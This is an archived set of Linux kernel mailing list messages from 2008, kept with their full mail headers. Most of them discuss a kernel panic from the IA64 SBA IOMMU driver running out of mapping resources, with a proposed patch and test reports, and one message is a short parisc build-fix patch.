FUJITA Tomonori wrote:
> Sorry for the delay.
> 
> CC'ed linux-parisc since the same problem could happen to parisc.
> 
> On Tue, 04 Nov 2008 10:23:58 +1100
> Shehjar Tikoo <shehjart@cse.unsw.edu.au> wrote:
> 
>> I've been observing kernel panics for the past week on
>> kernel versions 2.6.26, 2.6.27 but not on 2.6.24 and 2.6.25.
>>
>> The panic message says:
>>
>> arch/ia64/hp/common/sba_iommu.c: I/O MMU is out of mapping resources
>>
>> Using git-bisect, I've zeroed in on the commit that introduced this.
>> Please see the attached file for the commit.
>>
>> The workload consists of 2 tests:
>> 1. Single fio process writing a 1 TB file.
>> 2. 15 fio processes writing 15GB files each.
>>
>> The panic happens on both workloads. There is no stack trace after
>> the above message.
>>
>> Other info:
>> System is HP RX6600(16Gb RAM, 16 processors w/ dual cores and HT)
>> 20 SATA disks under software RAID0 with 6 TB capacity.
>> Silicon Image 3124 controller.
>> File system is XFS.
>>
>> I'd much appreciate some help in fixing this because this panic has
>> basically stalled my own work. I'd be willing to run more tests on my
>> setup to test any patches that possibly fix this issue.
> 
> This patch modified the sba IOMMU driver to support LLDs' segment
> boundary limits properly.
> 
> ATA hardware has poor segment boundary limit, 64KB. In addition, sba
> IOMMU driver uses size-aligned allocation algorithm. It means that
> it's difficult for the IOMMU driver to find an appropriate I/O address
> space. I think that you hit the allocation failure due to this problem
> (of course, it's possible that my change breaks the IOMMU driver but I
> can't find a problem so far).
> 
> To make matters worse, sba IOMMU driver panic when the allocation
> fails. IIRC, only IA64 and parisc IOMMU drivers panic by default in
> the case of the allocation failure. I think that we need to change
> them to handle the failure properly.
> 
> Can you try this? I've not fixed map_single failure yet but I think
> that you hit the failure allocation in map_sg path.
> 

On 2.6.27, this patch seems to prevent the panic from happening for
both the tests I had described earlier. Do you need more info to 
validate this? I will be running more tests with this patch over
the next few days, so we'll find out anyway.

Thanks
Shehjar

> 
> diff --git a/arch/ia64/hp/common/sba_iommu.c b/arch/ia64/hp/common/sba_iommu.c
> index d98f0f4..8f44dc8 100644
> --- a/arch/ia64/hp/common/sba_iommu.c
> +++ b/arch/ia64/hp/common/sba_iommu.c
> @@ -676,12 +676,19 @@ sba_alloc_range(struct ioc *ioc, struct device *dev, size_t size)
>  			spin_unlock_irqrestore(&ioc->saved_lock, flags);
>  
>  			pide = sba_search_bitmap(ioc, dev, pages_needed, 0);
> -			if (unlikely(pide >= (ioc->res_size << 3)))
> -				panic(__FILE__ ": I/O MMU @ %p is out of mapping resources\n",
> -				      ioc->ioc_hpa);
> +			if (unlikely(pide >= (ioc->res_size << 3))) {
> +				printk(KERN_WARNING "%s: I/O MMU @ %p is"
> +				       "out of mapping resources, %u %u %lx\n",
> +				       __func__, ioc->ioc_hpa, ioc->res_size,
> +				       pages_needed, dma_get_seg_boundary(dev));
> +				return -1;
> +			}
>  #else
> -			panic(__FILE__ ": I/O MMU @ %p is out of mapping resources\n",
> -			      ioc->ioc_hpa);
> +			printk(KERN_WARNING "%s: I/O MMU @ %p is"
> +			       "out of mapping resources, %u %u %lx\n",
> +			       __func__, ioc->ioc_hpa, ioc->res_size,
> +			       pages_needed, dma_get_seg_boundary(dev));
> +			return -1;
>  #endif
>  		}
>  	}
> @@ -962,6 +969,7 @@ sba_map_single_attrs(struct device *dev, void *addr, size_t size, int dir,
>  #endif
>  
>  	pide = sba_alloc_range(ioc, dev, size);
> +	BUG_ON(pide < 0);
>  
>  	iovp = (dma_addr_t) pide << iovp_shift;
>  
> @@ -1304,6 +1312,7 @@ sba_coalesce_chunks(struct ioc *ioc, struct device *dev,
>  	unsigned long dma_offset, dma_len; /* start/len of DMA stream */
>  	int n_mappings = 0;
>  	unsigned int max_seg_size = dma_get_max_seg_size(dev);
> +	int idx;
>  
>  	while (nents > 0) {
>  		unsigned long vaddr = (unsigned long) sba_sg_address(startsg);
> @@ -1402,9 +1411,13 @@ sba_coalesce_chunks(struct ioc *ioc, struct device *dev,
>  		vcontig_sg->dma_length = vcontig_len;
>  		dma_len = (dma_len + dma_offset + ~iovp_mask) & iovp_mask;
>  		ASSERT(dma_len <= DMA_CHUNK_SIZE);
> -		dma_sg->dma_address = (dma_addr_t) (PIDE_FLAG
> -			| (sba_alloc_range(ioc, dev, dma_len) << iovp_shift)
> -			| dma_offset);
> +		idx = sba_alloc_range(ioc, dev, dma_len);
> +		if (idx < 0) {
> +			dma_sg->dma_length = 0;
> +			return -1;
> +		}
> +		dma_sg->dma_address = (dma_addr_t)(PIDE_FLAG | (idx << iovp_shift)
> +						   | dma_offset);
>  		n_mappings++;
>  	}
>  
> @@ -1476,6 +1489,10 @@ int sba_map_sg_attrs(struct device *dev, struct scatterlist *sglist, int nents,
>  	** Access to the virtual address is what forces a two pass algorithm.
>  	*/
>  	coalesced = sba_coalesce_chunks(ioc, dev, sglist, nents);
> +	if (coalesced < 0) {
> +		sba_unmap_sg_attrs(dev, sglist, nents, dir, attrs);
> +		return 0;
> +	}
>  
>  	/*
>  	** Program the I/O Pdir

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Shehjar Tikoo <shehjart@cse.unsw.edu.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: Re: Panic in multiple kernels: IA64 SBA IOMMU: Culprit commit on
 Mar 28, 2008
Date: Thu, 06 Nov 2008 14:01:19 +1100
Lines: 78
Approved: news@gmane.org
Message-ID: <49125DFF.5080900@cse.unsw.edu.au>
References: <490F880E.4000801@cse.unsw.edu.au> <57C9024A16AD2D4C97DC78E552063EA35BE05F00@orsmsx505.amr.corp.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1225943154 21080 80.91.229.12 (6 Nov 2008 03:45:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Nov 2008 03:45:54 +0000 (UTC)
Cc: "fujita.tomonori@lab.ntt.co.jp" <fujita.tomonori@lab.ntt.co.jp>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	linux-parisc@vger.kernel.org
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 06 04:46:56 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kxvpe-0003Cp-02
	for glpp-linux-parisc@gmane.org; Thu, 06 Nov 2008 04:46:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755058AbYKFDpn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Nov 2008 22:45:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754073AbYKFDpn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Nov 2008 22:45:43 -0500
Original-Received: from note.orchestra.cse.unsw.EDU.AU ([129.94.242.24]:53033 "EHLO
	note.orchestra.cse.unsw.EDU.AU" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752464AbYKFDpl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Nov 2008 22:45:41 -0500
Original-Received: From
	[203.143.160.170] ([203.143.160.170] == chaos.ken.nicta.com.au) (auth-user shehjart) (cse-authentic-sender shehjart)
	By note With Smtp ; Thu, 6 Nov 2008 14:08:27 +1100 
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080110)
In-Reply-To: <57C9024A16AD2D4C97DC78E552063EA35BE05F00@orsmsx505.amr.corp.intel.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:827 gmane.linux.kernel:753761 gmane.linux.ports.ia64:19718
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/827>

Luck, Tony wrote:
> Added Cc: linux-ia64 ... more likely to attract attention of HP
> ia64 experts there.
> 
>> arch/ia64/hp/common/sba_iommu.c: I/O MMU is out of mapping resources
> 
> Odd ... the code (back to the dawn of git time in 2.6.12-rc1) looks like
> 
>         panic(__FILE__ ": I/O MMU @ %p is out of mapping resources\n"
>                 ioc->ioc_hpa);
> 
> I wonder why you don't see the "@ HEXADDRESS"?

That was copy paste from memory. You're right. There is a hex address.
I've copied a full message at the end of the email.

> 
>> Using git-bisect, I've zeroed in on the commit that introduced this.
>> Please see the attached file for the commit.
> 
> Did you confirm that reverting this commit on a recent kernel
> fixes the problem (once in a while git bisect can point to
> the wrong commit ... it seems very likely that it got the
> right one here, but it is always good to check).  When I
> tried to use "patch -R" to revert this it got confused on
> the Kconfig file because the lines that were added were
> subsequently changed ... so you may need to revert that
> by hand ... the sba_iommu.c apparently reverted ok).


Yes, reverting this commit in 2.6.27 prevents kernel panic on both
workloads.

> 
>> Other info:
>> System is HP RX6600(16Gb RAM, 16 processors w/ dual cores and HT)
>> 20 SATA disks under software RAID0 with 6 TB capacity.
>> Silicon Image 3124 controller.
>> File system is XFS.
> 
> My HP test system is way too small to attempt to recreate
> this (just 2 cpus & 1 disk).  How long does each of your
> tests take to hit the problems ... a few minutes? Or hours?

The points at which panic occur are variable for both tests but
generally, I felt the panics were occurring nearer to the end of the
750G to 1TB writes.

> 
>> I'd much appreciate some help in fixing this because this panic has
>> basically stalled my own work. I'd be willing to run more tests on my
>> setup to test any patches that possibly fix this issue.
> 
> Adding some printk() before the panic might give a clue as to what
> is going wrong.  Either a bogus call is trying to allocate far
> too much space, or the bitmap is leaking, or we have a totally
> messed up "ioc" structure.
> 
> Printing "pages_needed" the address of "ioc" and some interesting
> fields from ioc (at least ioc->res_size) would help.  I assume
> the the return value from sba_search_bitmap() is ~0x0 ... but
> you should print "pide" just to be sure.


Heres some more info from a printk:

Kernel panic - not syncing: arch/ia64/hp/common/sba_iommu.c: I/O MMU @ 
c0000000fed01000 is out of mapping resources: pide: 
18446744073709551615, pages_needed: 5, iocres_size: 8192

> 
> -Tony

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Panic in multiple kernels: IA64 SBA IOMMU: Culprit commit on
 Mar 28, 2008
Date: Fri, 7 Nov 2008 12:49:54 +0900
Lines: 76
Approved: news@gmane.org
Message-ID: <20081107125011M.fujita.tomonori@lab.ntt.co.jp>
References: <490F880E.4000801@cse.unsw.edu.au>
	<20081106032605J.fujita.tomonori@lab.ntt.co.jp>
	<49125F21.8010806@cse.unsw.edu.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1226029848 4776 80.91.229.12 (7 Nov 2008 03:50:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 7 Nov 2008 03:50:48 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, akpm@linux-foundation.org,
	tony.luck@intel.com, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: shehjart@cse.unsw.edu.au
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 07 04:51:51 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KyINy-0003hc-FJ
	for glpp-linux-parisc@gmane.org; Fri, 07 Nov 2008 04:51:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751001AbYKGDuk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 Nov 2008 22:50:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751082AbYKGDuk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 6 Nov 2008 22:50:40 -0500
Original-Received: from sh.osrg.net ([192.16.179.4]:56621 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751001AbYKGDuj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 Nov 2008 22:50:39 -0500
Original-Received: from localhost (viola.osrg.net [10.76.0.4])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id mA73nssf029082;
	Fri, 7 Nov 2008 12:49:55 +0900
In-Reply-To: <49125F21.8010806@cse.unsw.edu.au>
Original-Lines: 71
X-Virus-Scanned: ClamAV 0.94/8585/Fri Nov  7 11:30:17 2008 on sh.osrg.net
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:828 gmane.linux.kernel:754315
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/828>

On Thu, 06 Nov 2008 14:06:09 +1100
Shehjar Tikoo <shehjart@cse.unsw.edu.au> wrote:

> FUJITA Tomonori wrote:
> > Sorry for the delay.
> > 
> > CC'ed linux-parisc since the same problem could happen to parisc.
> > 
> > On Tue, 04 Nov 2008 10:23:58 +1100
> > Shehjar Tikoo <shehjart@cse.unsw.edu.au> wrote:
> > 
> >> I've been observing kernel panics for the past week on
> >> kernel versions 2.6.26, 2.6.27 but not on 2.6.24 and 2.6.25.
> >>
> >> The panic message says:
> >>
> >> arch/ia64/hp/common/sba_iommu.c: I/O MMU is out of mapping resources
> >>
> >> Using git-bisect, I've zeroed in on the commit that introduced this.
> >> Please see the attached file for the commit.
> >>
> >> The workload consists of 2 tests:
> >> 1. Single fio process writing a 1 TB file.
> >> 2. 15 fio processes writing 15GB files each.
> >>
> >> The panic happens on both workloads. There is no stack trace after
> >> the above message.
> >>
> >> Other info:
> >> System is HP RX6600(16Gb RAM, 16 processors w/ dual cores and HT)
> >> 20 SATA disks under software RAID0 with 6 TB capacity.
> >> Silicon Image 3124 controller.
> >> File system is XFS.
> >>
> >> I'd much appreciate some help in fixing this because this panic has
> >> basically stalled my own work. I'd be willing to run more tests on my
> >> setup to test any patches that possibly fix this issue.
> > 
> > This patch modified the sba IOMMU driver to support LLDs' segment
> > boundary limits properly.
> > 
> > ATA hardware has poor segment boundary limit, 64KB. In addition, sba
> > IOMMU driver uses size-aligned allocation algorithm. It means that
> > it's difficult for the IOMMU driver to find an appropriate I/O address
> > space. I think that you hit the allocation failure due to this problem
> > (of course, it's possible that my change breaks the IOMMU driver but I
> > can't find a problem so far).
> > 
> > To make matters worse, sba IOMMU driver panic when the allocation
> > fails. IIRC, only IA64 and parisc IOMMU drivers panic by default in
> > the case of the allocation failure. I think that we need to change
> > them to handle the failure properly.
> > 
> > Can you try this? I've not fixed map_single failure yet but I think
> > that you hit the failure allocation in map_sg path.
> > 
> 
> On 2.6.27, this patch seems to prevent the panic from happening for
> both the tests I had described earlier.

Thanks!

> Do you need more info to 
> validate this? I will be running more tests with this patch over
> the next few days, so we'll find out anyway.

Can you check if data corruption doesn't happen during the tests?


Tony, changing the sba IOMMU driver to return an error instead of
panic in the case of allocation failure is fine with you?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: RE: Panic in multiple kernels: IA64 SBA IOMMU: Culprit commit on
 Mar 28, 2008
Date: Fri, 7 Nov 2008 08:58:28 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <57C9024A16AD2D4C97DC78E552063EA35C227994@orsmsx505.amr.corp.intel.com>
References: <490F880E.4000801@cse.unsw.edu.au>
	<20081106032605J.fujita.tomonori@lab.ntt.co.jp>
	<49125F21.8010806@cse.unsw.edu.au>
 <20081107125011M.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1226077143 22758 80.91.229.12 (7 Nov 2008 16:59:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 7 Nov 2008 16:59:03 +0000 (UTC)
Cc: "akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	"shehjart@cse.unsw.edu.au" <shehjart@cse.unsw.edu.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 07 18:00:05 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KyUgm-0001Ad-Gb
	for glpp-linux-parisc@gmane.org; Fri, 07 Nov 2008 18:00:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752911AbYKGQ6e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 7 Nov 2008 11:58:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752933AbYKGQ6e
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 7 Nov 2008 11:58:34 -0500
Original-Received: from mga09.intel.com ([134.134.136.24]:28834 "EHLO mga09.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753591AbYKGQ6d convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 7 Nov 2008 11:58:33 -0500
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by orsmga102.jf.intel.com with ESMTP; 07 Nov 2008 08:52:55 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.33,565,1220252400"; 
   d="scan'208";a="460469204"
Original-Received: from azsmsx602.amr.corp.intel.com ([10.2.121.201])
  by orsmga001.jf.intel.com with ESMTP; 07 Nov 2008 08:57:23 -0800
Original-Received: from orsmsx002.amr.corp.intel.com (10.22.226.105) by
 azsmsx602.amr.corp.intel.com (10.2.121.201) with Microsoft SMTP Server (TLS)
 id 8.1.311.2; Fri, 7 Nov 2008 09:58:30 -0700
Original-Received: from orsmsx505.amr.corp.intel.com ([10.22.226.208]) by
 orsmsx002.amr.corp.intel.com ([10.22.226.105]) with mapi; Fri, 7 Nov 2008
 08:58:29 -0800
Thread-Topic: Panic in multiple kernels: IA64 SBA IOMMU: Culprit commit on
 Mar 28, 2008
Thread-Index: AclAi+qxSkx82mnaSC2mcoddT3tcngAbe6ug
In-Reply-To: <20081107125011M.fujita.tomonori@lab.ntt.co.jp>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:829 gmane.linux.kernel:754604
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/829>

> Can you check if data corruption doesn't happen during the tests?

Very important!!!

> Tony, changing the sba IOMMU driver to return an error instead of
> panic in the case of allocation failure is fine with you?

This is fine ... but we do need to audit the callers to make
sure that they check for and handle this new error.

-Tony
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] fix build error on hppa SMP (was Re: Linux 2.6.28-rc4)
Followup-To: gmane.linux.kernel
Date: Mon, 10 Nov 2008 16:42:26 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20081110154226.GA28675@tilt.dandreoli.com>
References: <alpine.LFD.2.00.0811091650250.3468@nehalem.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1226331787 401 80.91.229.12 (10 Nov 2008 15:43:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Nov 2008 15:43:07 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Rusty Russell <rusty@rustcorp.com.au>
To: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 10 16:44:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KzYvu-0001vL-Mk
	for glpp-linux-parisc@gmane.org; Mon, 10 Nov 2008 16:44:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754749AbYKJPme (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Nov 2008 10:42:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754736AbYKJPme
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 10 Nov 2008 10:42:34 -0500
Original-Received: from ug-out-1314.google.com ([66.249.92.170]:59099 "EHLO
	ug-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754706AbYKJPmc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Nov 2008 10:42:32 -0500
Original-Received: by ug-out-1314.google.com with SMTP id 39so414584ugf.37
        for <multiple recipients>; Mon, 10 Nov 2008 07:42:30 -0800 (PST)
Original-Received: by 10.67.88.7 with SMTP id q7mr2157740ugl.76.1226331749695;
        Mon, 10 Nov 2008 07:42:29 -0800 (PST)
Original-Received: from tilt.localdomain (mnl.crema.unimi.it [159.149.71.27])
        by mx.google.com with ESMTPS id e33sm8050594ugd.41.2008.11.10.07.42.28
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 10 Nov 2008 07:42:28 -0800 (PST)
Original-Received: by tilt.localdomain (Postfix, from userid 1000)
	id 472DA10DE; Mon, 10 Nov 2008 16:42:26 +0100 (CET)
Mail-Followup-To: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Rusty Russell <rusty@rustcorp.com.au>
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0811091650250.3468@nehalem.linux-foundation.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:830 gmane.linux.kernel:755520
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/830>

On Sun, Nov 09, 2008 at 04:55:42PM -0800, Linus Torvalds wrote:
> 
> Rusty Russell (3):
>       cpumask: introduce new API, without changing anything
>       cpumask: new API, v2
>       cpumask: introduce new API, without changing anything, v3

Nothing to change here, go away! :)

---
From: Domenico Andreoli <cavok@dandreoli.com>
Date: Mon, 10 Nov 2008 16:31:07 +0100
Subject: [PATCH] fix build error on hppa SMP

Remove extern declaration of cpu_present_mask.

Fixes build error due to new cpumask API (2d3854a37e8b767a51aba38ed6d22817b0631e33).

Signed-off-by: Domenico Andreoli <cavok@dandreoli.com>
---
 arch/parisc/include/asm/smp.h |    2 --
 1 files changed, 0 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/include/asm/smp.h b/arch/parisc/include/asm/smp.h
index 398cdba..409e698 100644
--- a/arch/parisc/include/asm/smp.h
+++ b/arch/parisc/include/asm/smp.h
@@ -44,8 +44,6 @@ extern void arch_send_call_function_ipi(cpumask_t mask);
  
 #define PROC_CHANGE_PENALTY	15		/* Schedule penalty */
 
-extern unsigned long cpu_present_mask;

From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: RE: Panic in multiple kernels: IA64 SBA IOMMU: Culprit commit on
 Mar 28, 2008
Date: Tue, 11 Nov 2008 15:06:13 +0900
Lines: 21
Approved: news@gmane.org
Message-ID: <20081111150644Q.fujita.tomonori@lab.ntt.co.jp>
References: <49125F21.8010806@cse.unsw.edu.au>
	<20081107125011M.fujita.tomonori@lab.ntt.co.jp>
	<57C9024A16AD2D4C97DC78E552063EA35C227994@orsmsx505.amr.corp.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1226383605 18734 80.91.229.12 (11 Nov 2008 06:06:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Nov 2008 06:06:45 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, shehjart@cse.unsw.edu.au,
	akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: tony.luck@intel.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 11 07:07:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KzmPX-0002oS-Ty
	for glpp-linux-parisc@gmane.org; Tue, 11 Nov 2008 07:07:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751194AbYKKGG0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Nov 2008 01:06:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751260AbYKKGGZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 11 Nov 2008 01:06:25 -0500
Original-Received: from sh.osrg.net ([192.16.179.4]:37662 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751194AbYKKGGZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Nov 2008 01:06:25 -0500
Original-Received: from localhost (viola.osrg.net [10.76.0.4])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id mAB66DJO022969;
	Tue, 11 Nov 2008 15:06:13 +0900
In-Reply-To: <57C9024A16AD2D4C97DC78E552063EA35C227994@orsmsx505.amr.corp.intel.com>
Original-Lines: 16
X-Virus-Scanned: ClamAV 0.94/8606/Tue Nov 11 12:29:08 2008 on sh.osrg.net
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:831 gmane.linux.kernel:755763
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/831>

On Fri, 7 Nov 2008 08:58:28 -0800
"Luck, Tony" <tony.luck@intel.com> wrote:

> > Tony, changing the sba IOMMU driver to return an error instead of
> > panic in the case of allocation failure is fine with you?
> 
> This is fine ... but we do need to audit the callers to make
> sure that they check for and handle this new error.

Well, this is the issue discussed in the past several times...

The most of SCSI drivers are fine; they can handle IOMMU mapping
failure properly or panic. But there are some network drivers that
don't even check the failure. Fixing these network drivers has been on
my todo list... But as I said before, we ignore this problem; only
swiotlb and SBA panic in the case of IOMMU mapping failure.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
